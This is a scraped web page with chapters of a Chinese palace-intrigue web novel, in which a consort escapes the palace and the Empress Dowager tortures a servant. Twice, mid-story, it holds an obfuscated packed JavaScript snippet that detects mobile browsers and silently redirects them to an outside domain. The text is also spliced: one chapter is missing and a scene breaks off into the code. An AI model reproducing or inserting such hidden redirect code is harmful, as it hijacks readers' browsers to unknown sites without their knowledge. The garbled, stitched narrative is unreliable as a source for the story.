“这是自然,虽然他现在知道你不是他的生母,但毕竟是你将他养大,他自然不会忤逆你。”沧月小声劝着她,生怕她再情绪激动。其实他不喜欢夏宫,来了夏宫,她总是会受一些别的人或事物的影响。 “烟儿,你先别想那么多了,我给你倒杯热茶暖暖身子。” 曹暮烟捧着茶,虽然茶水烟雾缭绕,温度很高,但却始终暖不热她的手心。 顿了片刻,曹暮烟浅啜了口茶道:“还有上次的刺杀,哀家不是说了不要轻举妄动,老六他怎么还一意孤行,难道将哀家的话当做耳旁风么?哀家有能力扶持他,就有能力废了他,哀家要的是一个听话的棋子!” 沧月闻言微微皱了眉,他从一开始就不赞成与六王爷合谋,这北宫喆不甘受控,心机深沉,那六王爷又岂是好拿捏的主?和他合作不啻是与虎谋皮! “你传书与他,若是他不听话的话,这皇位怕是要与他无缘了!”曹暮烟一字一句道。 “好了好了,这些事情就由我来办,你好端端的怎么又生气了,你看看你一生气脸上都长皱纹了。”沧月抚着她的背后劝道。 “你拿镜子,哀家看看哪里有皱纹了?”曹暮烟不由分说拿起了镜子。 铜镜里的女子美目如画,妩媚风情,只是眉宇之间多了抹戾气,待看到眼角的那抹细小的伤疤时,眼神又凌厉起来,这道疤已经深深刻在她心上二十多年了! “啪——”曹暮烟一把甩掉镜子,对沧月发起火来,“凌阡陌那个贱人还没有下落么?”然后不待沧月回答又道,“都这么些年了,你还找不到她,你都做了些什么?” “烟儿,你别生气。” “我如何不生气,凌阡陌是个大活人,你找不着,那莫虞呢,她可是死了,一具尸体你也找不着么!” “烟儿……”沧月微微叹了口气。 “这两个人是我曹暮烟这辈子最恨的两个女人,我一定要将她们挫骨扬灰!”曹暮烟恶狠狠道。 北宫喆回到了琼华殿,看到江向晚正在帮他整理奏折,对她道:“晚儿你先下去吧。” “喆……” “下去吧。”北宫喆眉宇间有抹倦色,江向晚张了张口,始终没有吐出话来,转身出了琼华殿。 北宫喆靠在龙椅上,按了按太阳穴,闭着眼睛道:“青玄。” “属下在。” “朕记得两年前朕在承安郊外购置了一处别苑。” “是,皇上,这两年一直都由钟叔在打理。” 北宫喆微微颔首,“这两天你密切关注着瑾淑妃的动静,若是她想出宫的话,到时候你助她一臂之力,出宫后务必将她带到青末山庄。” 青玄微微一惊道:“皇上,安国君和莫夫人现在也在青末山庄呢。” “那就不要让他们见面。” “是,属下知道该怎么做了。” “左言和月清绝传来消息了么?” “回皇上,还没有,想来是还没有得手。” “朕知晓了,你先下去吧。” 青玄犹豫了片刻道,“皇上,您不要去看看瑾淑妃么?” 北宫喆凌厉的双眸朝他射来道:“青玄,你逾越了!” 青玄立即抱拳道:“属下知错,属下告退。” 北宫喆呼吸着淡淡的檀香,渐渐压下心中的烦躁。她说檀香更容易让人凝神屏气,他批奏折的时候点檀香比较好。 —— 欢凉和箐姑姑一起将安文夕拖到了内殿,欢凉紧紧锁着眉头,对箐姑姑道:“箐姑姑,你去将伤药拿来,我给娘娘看看伤。” 欢凉一一褪掉了安文夕身上的衣服,待看到她身上发红的鞭痕一愣,刚才她听着那鞭声足够皮开肉绽,怎么都没有破皮? 欢凉手中的动作一顿,看来北宫喆到底还是不忍! 欢凉给安文夕上了药后,又匆匆为自己涂了药,在未央宫中查看了一周,问香茗道:“你可看见陌姑姑了?” “用过早膳的时候我还见陌姑姑在小厨房里忙碌,怎么这会不见了?”香茗突然想到有一次箐姑姑被晴妃带到晴阳殿用刑那件事,心中又浮现恐惧,急忙道,“陌姑姑她……她不会是被哪位妃子带走了吧?欢凉姐姐,你快去救救她。”虽然她对那个奇怪的陌姑姑谈不上喜欢,但她到底是未央宫的一分子。 救她?欢凉冷哼一声,像陌姑姑那样神出鬼没的人,谁能伤害得了她? 正说话间陌姑姑回了未央宫,香茗看见她立即问道:“陌姑姑,你去哪了,我们都担心你呢。” “担心我做什么?” 香茗小声道:“太后娘娘来了宫里,这宫里不太太平,我担心你……” “我没事,你多虑了。”陌姑姑说完径直回了房间。 “等一下。”欢凉突然出声道。 “什么事?” “如今太后娘娘来了,宫里的规矩也比以前大了,我希望你可以安分的待在未央宫,省得不知什么地方犯了错,连累了我们娘娘和这未央宫上下。” 陌姑姑淡漠的扫了她一眼道:“我知道了。” 陌姑姑走后,香茗看着她的背影道:“我们这也是为她好,她怎么好像不领情的样子。” 欢凉淡淡的瞥了眼香茗,真是个单纯的小丫头,“别发呆了,赶紧去给娘娘准备些吃的吧。” 香茗猛然惊醒道:“你不提醒我,我都把正事给忘了。”说着一溜烟跑开了。 欢凉本以为下午安文夕就会醒来,谁知一直到了晚上,安文夕仍在昏睡,本来预定今天晚上动身离开宫里的,这下也不得不往后推迟了,希望明天晚上可以顺利出宫,不然的话就夜长梦多了! “水~”安文夕双唇干裂的脱皮,她挽着眉,低低说道。 欢凉睡在她的外间,听到里面有动静,起身燃了灯,倒了水端进去道:“公主,水来了。” 安文夕半坐起身,喝过水道:“欢凉,现在是晚上?” “现在都快要天亮了,公主你都睡了快一天一夜了。” “一天一夜?”安文夕惊道,“北宫喆只是点了我的穴道而已,我怎么睡了这么久?” 她将杯子里的水喝光,半晌道:“重新计划一下,将时间定在今晚。” “公主放心,欢凉都已经安排好了。” “你先将箐姑姑和香茗送出宫去,我怕到了晚上顾不上她们。” “欢凉知道了,公主还要水么?” “不用了,你去睡吧,我也想躺一躺。” 天亮之后,欢凉秘密将箐姑姑和香茗送了出去,少了她们二人的未央宫似乎和往常没有什么不同。 由于昨天北宫喆鞭笞的那十鞭没有太大的力道,对她而言没有太大的影响,只是胸腔里面的经脉还是没有恢复。 安文夕正整理着出宫的东西,突然看到本来打算万寿节上送给北宫喆的同心结,手中的动作一顿,以前三年她都是亲手将红丨豆编进同心结中送给他做生辰礼物。 同心结——白头偕老,永结同心! 现在她只觉得讽刺,随手将同心结扔掉。 就在这时,欢凉突然急急地跑进内殿道:“公主,不好了,陌姑姑被太后娘娘带走了!” 第81章 难逃一死 第八十一章难逃一死 就在这时,欢凉突然急急地跑进内殿道:“公主,不好了,陌姑姑被太后娘娘带走了!” “什么?”安文夕手中拿着的茶盖蓦地掉落在地,咕噜噜滚了起来。 “到底怎么回事?” “我也不是很清楚,好像是陌姑姑在御花园遇到了太后,然后就被带走了。” 上一次曹太后来夏宫的时候,陌姑姑还躲去了凤青轩,这次这么好端端的会主动去撞上太后? “昨天我还特意告诉过陌姑姑曹太后盯上了未央宫,让她不要到处乱跑,没想到今天就……” 难道是曹太后发现了什么? 安文夕心中一惊,问道:“太后带走陌姑姑的时候有没有说些什么?” “太后好像说的是她不喜欢陌姑姑那双眼睛。” “糟了!”她都能看得出,想必更瞒不了曹太后。 “公主,你不要去,你忘了我们今晚要出宫的,不要节外生枝。”欢凉心中升起了不好的预感。 安文夕抿了抿唇,继续收拾东西,欢凉说得对,陌姑姑和她非亲非故,就算她是那个人的生母又和她有什么关系? 欢凉深吸了一口气道:“公主,我这就出去将长乐宫的人打发走。” 欢凉刚出去不久,她便听到外面传来了一阵尖着嗓子的声音道:“瑾淑妃娘娘,太后娘娘有请!” 安文夕记得这个声音,这是沧月的声音。 欢凉根本拦不住沧月,安文夕刚刚站立身子,便看到沧月直接进了内殿,他瞧了眼安文夕,略略扫了下拂尘道:“沧月见过瑾淑妃。” 这沧总管真是好大的架子,甚至连腰都没有弯一下,安文夕知道他这是为了昨日的事情向她挑衅呢,安文夕慢悠悠的喝着茶,漫不经心的瞧了沧月一眼,没有开口说话。 “瑾淑妃娘娘,今日在御花园有个没有规矩的奴才冲撞了太后娘娘,太后娘娘一怒之下将其带到了长乐宫,后来她自己说是未央宫的主事嬷嬷。”说到这里沧月顿了一顿,看安文夕脸色无常又继续道,“咱家想着既然是主事嬷嬷,怎会如此的没有规矩,想必是说了谎,太后娘娘就吩咐咱家用刑。” 安文夕听到这里眼神蓦地一冷,捧着青瓷小盏的手微微一顿。 “鞭笞了三十之后,那奴才浑身都血淋淋的,但仍然自称是未央宫的主事嬷嬷,太后就让小路子来未央宫请瑾淑妃去长乐宫认认人,谁知小路子刚到了这未央宫,这个小蹄子百般阻拦,小路子回去没法交差,老奴只好亲自来请瑾淑妃了!” 他的弦外之音是在说她们整个未央宫上下都没有规矩! “麻烦瑾淑妃随咱家走一趟,若是那奴才是未央宫的主事嬷嬷,那就劳烦瑾淑妃以后多家管教,若不是的话——太后娘娘最近刚好缺了个玩具。” 玩具? 沧月看着安文夕,眸光渐冷,“太后娘娘最喜欢那不会说话的不倒翁了。” 不会说话的不倒翁?那不就是人彘么! 安文夕神色一凛,冷然瞥向沧月道:“有劳沧总管来未央宫一趟了,本宫去收拾一下,这就随沧总管去长乐宫。” “娘娘……” 沧月瞥了眼欢凉,拂尘一扫,说道:“奴才就在外面等着瑾淑妃娘娘。” “公主,你真的决定要去了么?” 安文夕没有说话,有条不紊的披上了火红的披风,将一排银针藏在了披风下面,然后从床榻下面取出**,准备塞到靴子里面。 欢凉一把按住安文夕的手道:“公主,就算你去了,她也未必会领情,你又何必呢?” “那我总不能眼睁睁的看着她被曹太后做成丨人彘吧。” “公主,你想想安国君,想想睿王,我们凭什么要去救她?”欢凉急道,她一猜这件事就是曹太后给公主下的套,为了一个毫不相干的女人,不值得去冒这个险! 安文夕闻言握着鞭子的手一顿,然后利索的将鞭子盘道腰间,淡漠道:“欢凉,你知道的,这不一样。” “可是,公主,万一发生了意外,我们今晚就走不成了,若是今晚不走,以后可就没有这么好的机会了。”欢凉急道。 安文夕收拾完毕,眸光深远,“今晚一定要走,也一定走得了!” 率先步出了内殿,回头对欢凉道:“赶紧跟上。” 长乐宫。 虽是白天,殿内却四处燃了泛着幽光的灯火,殿内格外的温暖,不多的宫人都穿着薄薄的春裳,但走进去却令人感到一阵凉意森森,背脊发寒。 顺着大殿往里走,丨光线越来越暗,两旁燃着的宫灯越来越多了,气氛逐渐压抑。 沧月在前面带着路,安文夕不急不慢的走在他身后,她身边的欢凉自从进了这长乐宫眉头就一直紧紧锁着,警惕的打量着周遭的环境,精神丝毫不敢松懈。 曹暮烟一身紫色的雪狐大氅,头戴金凤步摇,神情高贵,凤眸流转,厌恶的看着趴在脚下的人,看着她那双酷似那个人的双眸,蓦地将手中捧着的热茶一股脑的浇在了地上那人的身上。 “嗞——”滚烫的茶浇在身上发出一阵灼烫声。 陌姑姑一身是伤,三十鞭将她抽丨打的皮开肉绽,鲜血早已将身上的衣服沁湿了。滚烫的茶水浇了下去,身上的血迹顿时晕开了。 陌姑姑紧紧咬着牙,将所有的痛楚皆吞入腹中,嘴里始终没有发出半句呻丨吟来。 曹暮烟伸手挑起陌姑姑的脸来,似乎是想看出什么不一样。 “这么疼你也忍得住,倒是和那个人一样的贱骨头!”曹暮烟打量了片刻,好像没发现什么来,一把嫌弃的将陌姑姑的脸扔开,手上戴着的尖锐的掐丝珐琅护甲狠狠地划过她的脸,陌姑姑脸上登时出现了一道血印,皮肉翻卷,鲜红的血液流过她嘴角已经干涸的血迹慢慢划向下巴。 “这样看来,你不是凌阡陌那个**。因为,那个**的脸早就被哀家毁了!”曹暮烟双眸凌冽起来。 陌姑姑的身子轻颤,隐在袖子中的手慢慢蜷起,狠狠地攥着袖角。 “不管你是不是她,今日丨你落到了哀家手中,也难逃一死,你若是让哀家高兴了,哀家就给你一个痛快,否则——” 陌姑姑紧咬着下唇,一瞬不瞬的盯着曹暮烟,眼神寡淡无光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287228|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 曹暮烟额头上突然青筋毕露,抬脚狠狠地踢开陌姑姑,厉声道:“贱婢,你竟敢用这种眼神瞧着哀家,该死!” 眼神淡漠,冰冷无情,当年凌阡陌就是用一副高高在上的眼神瞧着自己,好像不可一世一般! 曹暮烟突然暴躁起来,“凌阡陌那个**就是用那双讨厌的眼睛这么瞧着哀家,这么多年来,哀家碰到无数个和她眼睛长得相似的人,都被哀家给挖去了眼睛,做成了人彘!” 陌姑姑心中涌上来一阵恶心来,多年不见,这曹暮烟的阴狠不减当年,甚至现在的手段比以前更令人发指! “来人,将她的眼睛给哀家挖了!要一点点的挖,哀家要让她求生不能求死不得!” 立在殿外的小宫女听到曹太后的吼声,立即打了个寒颤,正不知道要怎么办时,沧月带着安文夕、欢凉缓步而来。 “沧总管……” 沧月淡淡瞥了她一眼道:“你先下去吧。” “太后娘娘,奴才将瑾淑妃请来了。” 陌姑姑闻言神色一惊,她来了? 她缓缓抬起头,看向那一身红衣的女子,她眉眼清淡,清灵的目光正打量着她。 陌姑姑脸上还挂着血痕,身上也被鲜血染红,整个大殿内都弥漫着淡淡的血腥味道,看来陌姑姑在这长乐宫吃了不少苦头。 “瑾淑妃?”曹暮烟抬头对上安文夕,嘴角带了抹挑衅。 “臣妾参见太后娘娘。” “奴婢参见太后娘娘。” 安文夕和欢凉福身请礼道。 曹暮烟斜斜的打量着半福着身子的安文夕,眼底划过一抹阴狠来,“沧月,给哀家倒杯茶水来。” 沧月知道她是为了昨天的事情故意刁难,不紧不慢的倒了杯水给她。 滚烫的茶放到曹暮烟手中,她却感觉不到半分温度,不耐的皱了眉,“太冷了,重倒!” 一连倒了三次水,曹暮烟才勉强送到了嘴边。 安文夕此时已经双腿发酸发软,一旁的欢凉也好不到哪去,整个身子已经开始打颤。 “太后娘娘,不如让臣妾给您倒一杯水。”安文夕示意欢凉去提水壶,自己亲自捧着青瓷盏,盛了一杯水,递到曹暮烟面前的小几上。 “不知太后娘娘叫臣妾前来所为何事?”安文夕恭敬的站在一旁。 “你看看脚下的这个奴才是不是你宫里的?”曹太后此时也没有功夫和安文夕计较这个。 安文夕扫了眼陌姑姑道:“回太后娘娘,她是臣妾宫里的主事嬷嬷。” “哦,今天这个贱婢在御花园的亭子里偷了哀家的玉镯,那手镯可是价值千金,就是这奴才有一百条贱命也不够抵的!” 安文夕心中一惊,陌姑姑偷了她的手镯,曹太后竟然使出这么拙劣的伎俩。也是,在这宫里,曹太后想让谁死,只需秘密下一道懿旨,又何须理由? “娘娘,奴婢没有偷手镯。”陌姑姑撑着身子摇着头。 “太后娘娘,她说她没有拿。” “瑾淑妃难道不相信哀家的话,竟然去相信一个奴婢的话么?”曹暮烟厉声道。 第83章 你令朕太失望了 第八十三章你令朕太失望了 “慢着!”惊魂打断了江向晚,从她今晚的表现和她嘴角那高深莫测的笑意来,他直觉得今天这事没那么简单! 自从皇上警告过他不许再靠近瑾淑妃后,他就再也没有进过宫,而且他也不想留在宫里看见晚儿和那个人亲昵。但今日晚儿却突然让他进宫,说是自从上次刺客一事后,宫里不太太平,让他带着御林军在宫内巡逻。 他现在看来,好像晚儿早就知道今晚会有刺客一般。 “怎么了?”江向晚不解问。 “也许不是刺客呢?” “不是刺客,怎么不敢现身?”江向晚冷哼一声。 妈.的,这个**!欢凉在心里低唾一声。 安文夕乌黑莹亮的双眸如闪耀的黑曜石,密切的关注着下面的一举一动,捏紧了手中的准备好的银针,盯紧了江向晚,就在她准备掷出银针时,后背突然有只大手轻轻地拍了下她的肩膀。 “嘘!” 安文夕猛地扭过来头,看到来人愣了一下,易寒怎么会出现在这里? 易寒嘴角微勾,给了她一个放心的眼神,低声道:“赶紧走!”然后一跃跳下了去。 他在帮她! 好像每一次他都能在她遇到困难时现身。 她脑海中蓦地闪现一个邪魅又儒雅的脸庞来,会是他么? 安文夕立即趴在房檐上,将身体隐在暗处,注意着下面的情形。 易寒从房顶上落下,淡然的瞥了眼江向晚和她身边的惊魂以及一种的御林军道:“不知惊大人这是何意?” “宫里有刺客。” “刺客?”易寒惊道,“已经抓到了么?” 惊魂摇了摇头。 江向晚怎么也没有想到易寒会从房顶上下来,微愣了片刻,冷声道:“大晚上的易大人怎么会在房顶上?” “今天晚上皇上招我进宫有要事相商。” “去房顶上去商量要事?”江向晚讥讽道,这个易寒风明就是在帮安文夕拖延时间,“还是易大人在遮掩着什么?” 易寒拖延不了多少时间,安文夕咬了咬牙,拉着欢凉道:“赶紧走!” 刚落下了房顶,便看到青玄抱着剑立在墙根处,仿佛已经在此等候多时了! 安文夕一惊,北宫喆果然不打算放过她! “青玄,你也要拦着我么?” “瑾淑妃娘娘,你误会了,皇上让属下助娘娘顺利出宫!” 什么?这下连欢凉眼中都出现了惊色。 “娘娘,事不宜迟,我们赶紧走吧。” 安文夕后退了一步,警惕的盯着青玄,这北宫喆会有这么好心? “娘娘,属下什么时候骗过您?” 半晌,安文夕抬眸道:“青玄,我信你。” 隐在暗中的黑瞳渐缩,紧抿着嘴角,掩去了嘴角上的那抹苦笑。 呵……她宁愿相信青玄,也不愿信他! “江小姐若是不信,可以去问皇上。”易寒声音渐冷。 “易大人,刚才你在房顶之上,可有看见什么可疑之人?”惊魂打破了这份剑拔**张。 “没有什么可疑之人,当时只有我和皇上两人在房顶之上。” 江向晚嘴角扬起了一抹讥笑,“是么?那我倒要看看。”她说着纵身跃上房顶。 “啊!”江向晚传来一声低呼,不可置信的看着房顶上的人,浑身一僵。 北宫喆斜斜的以手撑着额头,细碎的发丝在风中微扬,绝美的桃花眼染了几分离醉,另一只手拎着酒壶,就着寒风一口一口的往嘴里灌着酒,脖子里系着的玄色披风上面的毛领已经被酒水浸湿。 “皇……皇上,你怎么在这里?”房顶之上传来江向晚的惊呼声。 北宫喆一口饮尽酒壶中的酒,随手将酒壶丢了下去,发出一阵惊天动地的瓷碎声,将下面的众人吓得一个机灵,忙将视线放到房顶之上。 北宫喆脸色微沉,原本mi离的双眸蓄满了冰霜,夹带着漫天的寒冰朝江向晚砸来,“晚儿,你这是做什么?” “回皇上,微臣在捉拿刺客。”江向晚很快恢复了淡定道。 “刺客?”北宫喆眸光又冷了几分,厉声道,“晚儿,你令朕太失望了!” 江向晚心中大惊,看着近在咫尺,如神祇一般的男人,她一个字都说不出话来,左胸膛里面空缺得厉害。明明没有心,为何还会那么痛? 北宫喆没有看她,径直掠下房顶,冷冷的睥睨着众人,身后的玄衣披风迎风而飘,猎猎当风。 “微臣参见皇上。”易寒行礼道,心想有北宫喆在,那她到底走掉了没有? “属下参见皇上。” 惊魂抱拳单膝跪地道,其余的御林军皆放下了兵器,三呼万岁。 大冷的天,皇上和右相两人坐在房顶之上把酒相欢,还如此的隐秘,难道这里面有什么不可告人的秘密?联系到皇上如今偏宠瑾淑妃,对其他女人不喜亲近,难道皇上他是有什么难以言说的癖好?皇上玉树临风,而右相大人也是一表人才,这两个人的确也挺……般配!有些御林军的眼神不动声色的游梭在北宫喆和易寒之间。 北宫喆一身戾气,周遭的空气似乎又冷了几分,原本还想一探究竟的御林军立即垂头盯着自己脚下的一片土地。 北宫喆冷冷的扫了他们一眼道:“都退下吧。” 江向晚从房顶上跃下,欠身道:“皇上……我……” 北宫喆对着刚刚捡起兵器的御林军怒道:“还不退下!” 众人立即以最快的速度消失在了皇上面前,后背皆一片冰凉。 江向晚被北宫喆当场打断了话,窘的满面通红,好在周围太黑,没人能注意到这一点。她紧紧的握着青霜剑,咬着下唇,喆何时这么对过她?她一时难以接受。 “皇上,天色已晚,微臣也该告退了。”易寒道。 她走了,他也这么急不可待么? 北宫喆冷冷扫了他一眼,半晌道:“你退下吧。”然后看了眼江向晚和惊魂道,“你们也都退下吧。” 江向晚看着北宫喆渐渐消失在她的视线里,她突然觉得这个从小就令她心仪的男人似乎离她越来越远。 惊魂看着她颓败的目光,冷呲一声,“人都走远了,还在看什么?”这一声尽是苦涩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287230|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我的事情不用你来管。” “那好,你以后别再来找我,像今天这样,也别来找我帮忙。” “你——”江向晚狠狠地咬着唇,为什么连他也这样跟她说话了? “今天你所谓的抓刺客,是为了神不知鬼不觉的抓了安文夕吧!” “是又怎样?”被人点中了心思,江向晚冷哼道。 “晚儿,你放手吧,有些东西是不属于你的,不如好好珍惜能握到手里的。” 江向晚冷笑道:“珍惜?你这就让我珍惜你么,你不过是皇上身前的带刀侍卫,季家嫡子,你说,你能给我什么,无上的尊荣?还是鼎盛的权力?都不能!”最后一句话声音陡然变冷。 “晚儿,你为什么现在变成了这样?”惊魂有些痛心道。 “变?”江向晚嘴角勾起了一抹讥意,“我没有变,变得是你们!你们!”那个从小护着她的喆现在却对她冷言相加,她一心一意的爱着他,他却纳了一个又一个妃子,还偏偏对一个**公主动了心!这也没什么,可他为什么立了她的妹妹为妃,而却要让她做一个女官,如此尴尬的身份,让她在众人面前都抬不起头来。 还有眼前这个人,从小都默默地对她好,不论任何事情,都无条件的支持她,帮助她,而现在也来质问她了么? 她不过是喜欢一个人罢了,她有什么错? 惊魂眼底闪过一抹失望,淡漠道:“那日在百水崖,我都看到了。” 他都看到了?!这一句话无疑是一道惊雷。 惊魂看着江向晚不可置信的眼神,一步步朝她走过去道:“是你逼着瑾淑妃将你抛下悬崖,也是你故意坠了下去!” “不,不是我。” 惊魂脸上浮现浓浓的失望来,“你自己做的,现在却不敢承认么?” 江向晚狠狠地压下刚才心头的异样,嘲弄道:“你如此维护她,不会是喜欢上那个人了吧?” “你瞎说什么!”惊魂冷冷的打断她,不想再和她纠缠下去,“告辞!” “你以为没有你,我就没有办法了么?” 惊魂闻言脚步一滞,回头道:“你还是不打算罢手?只要有我惊魂在,今天你就别想伤她!” 江向晚嘴角噙起苦涩的笑,满眼讥讽道:“还说没有喜欢她!” “那咱们就走着瞧!”江向晚扔下这句话,身形一跃,消失在了茫茫夜色中,惊魂立即紧随其后。 长乐宫的火终于再次被扑灭,原本富丽堂皇的宫殿被烧掉了一般,只剩下了断壁残垣和满地的灰烬。 “太后娘娘,江小姐传来消息,那个人偷偷出宫了!” 曹暮烟闻言刚刚提上来一口气,立即又被气得吐血。 “给哀家追,不论动用多少人,务必将那个小**给哀家带回来!” 安文夕和欢凉打扮成了小太监的模样,跟在青玄身后,尽量挑着隐蔽的小径躲避着众人的视线。 不巧的是,一个刚刚在御膳房偷了点上好菜肴的小太监发现了三人,被惊出了一身冷汗,冷声问道:“什么人在那里?” “不好,被发现了。”欢凉小声对安文夕道。 第84章 等候多时 第八十四章 等候多时 “是我!”青玄出声道。 “原来是青大人,奴才见过青大人。” “起来吧。”青玄冲安文夕微不可见的点了点头,继续往前走。 后面的那个小太监突然问道:“青大人,这两位是?” 安文夕和欢凉身形娇小,身上穿着的太监衣服有些不太合身。 青玄锐利的双眸蓦地投向刚才那个小太监,吓得他双腿一阵发软,忙道:“青……青大人,奴才……奴才没别的意思,就是宫里头好像有刺客,您小心些。” “小吴子,你自己在那里嘀咕什么呢,是不是又偷吃御膳房的菜了啊?”一个声音略尖,身材高壮的大太监朝这边走了过来。 “高公公,奴才哪敢?”小吴子小声道。 “呦,这不是青大人么,奴才给您请安了。”高公公立即行礼道。 “免了。”青玄懒得扫他一眼,对身后道,“还不赶紧跟上?” 青玄带着安文夕和欢凉走了不远,后面匆匆追来几个大内高手,全身素黑,如阎殿罗刹一般,对高公公厉声道:“有没有看到什么可疑之人?” “没,没有。” “刚才可有什么人从这里经过?” 小吴子结巴道:“青玄……青大人刚从这里经过。” 他话音刚落,几个人衣袂一摆,立即不见了踪影,只留下一脸惊恐的小吴子。 半晌高公公说道:“那好像是长乐宫,太后娘娘身边的人!” 为了不引起别人怀疑,安文夕和欢凉始终低着头,这一路上,因为有青玄的带领,还算是畅通无阻,终于看到了宫门。 飞檐画栋的宫宇连着气魄宏大的宫门在悬挂着的点点灯火中映出别样的璀璨、富丽堂皇。 此时夜色渐深,宫中早就落了匙。 宫门守卫的御林军个个面无表情,手里持着红丨缨枪。 “开城门,我要出宫!”青玄大声吩咐道。 “青大人,没有皇上手谕,我等不敢放行。” “你好大的胆子,皇上许了本大人自由出入宫廷的权利,你敢阻拦?”青玄手里的长剑噌的一下窜出剑鞘。 “青大人,您别动怒,您请您请——”另一位稍稍年长的御林军立即变了态度。 “可是,后面这两位……” “他们是跟着本大人一同出宫的。”青玄声音登时变冷。 “是,开宫门——” “且慢——”江向晚蓦地现身,拦住了青玄的去路。 “江小姐,不知你有什么事情?”青玄转过身来,不动声色的将安文夕和欢凉护在身后。 “今晚宫里有刺客,我怀疑那些刺客会伪装成太监或宫女的模样偷溜出宫。”她说着意有所指的打量了一眼青玄身后的二人。 “江小姐,你这是什么意思,难不成你怀疑我私通贼寇?” 谁不知道这青玄是皇上的贴身侍卫,衷心可表,怎么可能会和刺客有牵连? “是不是你自己清楚。”江向晚上前两步,紧锁住安文夕道,“青大人,你身后是何人,我要检查一下,你没意见吧?” “慢着,我是皇上的羽卫统领,江小姐只怕是没有资格检查我的人吧。”青玄一把拦住她道。 “青玄,你这是存心要与我作对么?”江向晚一把拔出手中的青霜剑。 “江小姐此言差矣,青玄只听命于皇上,谁和皇上作对,青玄就和谁作对!” 安文夕心中威震,她从不知道老实木讷的青玄竟然如此能言巧辩。 “你——” “晚儿——”惊魂突然赶来,对青玄递了个眼神,然后一把拉住江向晚道,“晚儿,你别胡闹,青玄有要事出宫。” 江向晚一把甩开惊魂的手,剑锋指向惊魂,眼底一片寒凉,这些人都选择护着安文夕,凭什么啊? “青玄,你先走,这里有我。”惊魂厉声道。 青玄带着安文夕飞快的跃出了宫门,转瞬消失在了夜色中。 “惊魂,你别拦我!”江向晚蓦地出掌,狠狠地击在了惊魂胸口,惊魂根本没有想到她会对他出手,不可置信的后退了几步。 江向晚眼底闪现一抹愧色,惊魂,对不住了,是你非要拦着我的,然后她决绝的出了宫门。 惊魂立即追了上去,在守卫的御林军还没有反应过来,刚才的几人皆不见了踪影。 “头,那江小姐可是没有皇上令牌的,我们怎么可以将她放出宫?”刚才拦着青玄的那人道。 他身侧的人没好气的敲了下他的脑袋,骂骂咧咧道:“你小子傻啊,那江小姐将来可是要……要母仪天下的人,你敢拦她?” “母仪天下跟出宫有什么关系,她没有令牌就不能随意出宫。” 那人恨铁不成钢道:“你小子简直是个榆木疙瘩,怪不得三年了你还在这里守宫门!” 出了宫门,安文夕感激道:“青玄,这次多谢你了,我们后会有期!” “瑾淑妃,这都是卑职应当的,请随我来。” 安文夕心中一惊,“你要带我去哪里?” “宫里最近不安全,皇上让卑职带瑾淑妃娘娘去一个安全的地方。” “不必了,青玄你回去吧。” “娘娘,请不要让卑职为难。” “公主,别再与他废话,我们赶紧走吧,不然后面一会有人追上来了。” “青玄我不想与你为敌,后会有期。”安文夕说完,弹开了手指上的戒指,细如蛛丝的铁丝攀到一旁的大树上,安文夕拉着欢凉一起掠了上去。 青玄望着她的背影,叹了口气,也罢,希望她可以慢慢走出仇恨的阴影来,就在他刚准备回去的时候,前方传来了欢凉的一声吃痛。青玄眸色一黯,立即追了上去。 安文夕扶着欢凉,紧紧盯着前方一脸阴柔的男人,右手握着七节鞭。 “瑾淑妃,别来无恙啊!”沧月咬牙切齿道。 安文夕扬唇道:“真是不好意思,让沧总管等候多时了!” “能等到瑾淑妃,等多久都是值得的!”沧月两只手上都缠着白纱布,狠狠地握着手中的拂尘。 安文夕懒得与他废话,立即稳住了欢凉的身形,抽丨动了凌冽的七节鞭。 沧月轻松躲过,说道:“瑾淑妃何必动怒,咱家不过是想请瑾淑妃去长乐宫一趟。” 欢凉刚才受了这假太监一掌,又牵出了前一阵的旧伤,看着沧月身后的大内侍卫渐渐缠住安文夕,立即拔剑相向。 “都住手!”青玄厉声道。 “青大人,你怎么会出现在这里?”沧月开口道。 “这句话应该由我来问沧总管吧。” “呵……长乐宫起了大火,咱家发现了可疑之人,便一路追到了这里。” 青玄淡淡瞥了他一眼然后将视线放到安文夕身上道:“瑾淑妃,您就是再和皇上闹别扭也不该擅自出宫,皇上让卑职来寻您回宫。” 青玄竟然撒谎了? “瑾淑妃娘娘,请随卑职回宫。” 安文夕犹豫了一下,抬脚跟在了青玄身后。 “慢着——”沧月立即示意他身后的几个大内侍卫将他们围了起来。 “长乐宫中纵火之人和瑾淑妃二人身形极像,咱家奉太后娘娘之命要将这二人带回长乐宫。” “若是青大人执意阻拦的话,休怪咱家不客气!带走!” “只怕你还没有这个本事!”安文夕冷冷道,利索的收了七节长鞭,盘在腰间,右手极快的的喂出数枚泛着寒光的银针来。 上面涂了无双留下来的软骨散,只要中了银针的人,不消片刻就浑身无力,四肢瘫软,而且不出一盏茶的功夫便会昏迷不醒。 沧月看着他带来的大内侍卫一个个接连倒下去,低骂了声妖女。 “娘娘,您先走!” 安文夕没有犹豫,看了眼青玄,带着欢凉飞身而去。 前方是一片树林,冰冷的夜里,分外阴寒,安文夕和欢凉双双落了地,安文夕忙问道:“你怎么样?” “公主,我没事,我自己可以走!”欢凉固执的甩开安文夕的手。 “欢凉,我扶着你,这样走的更快一些。”安文夕不容她拒绝,花姑姑就在前方树林尽头接应着她们。 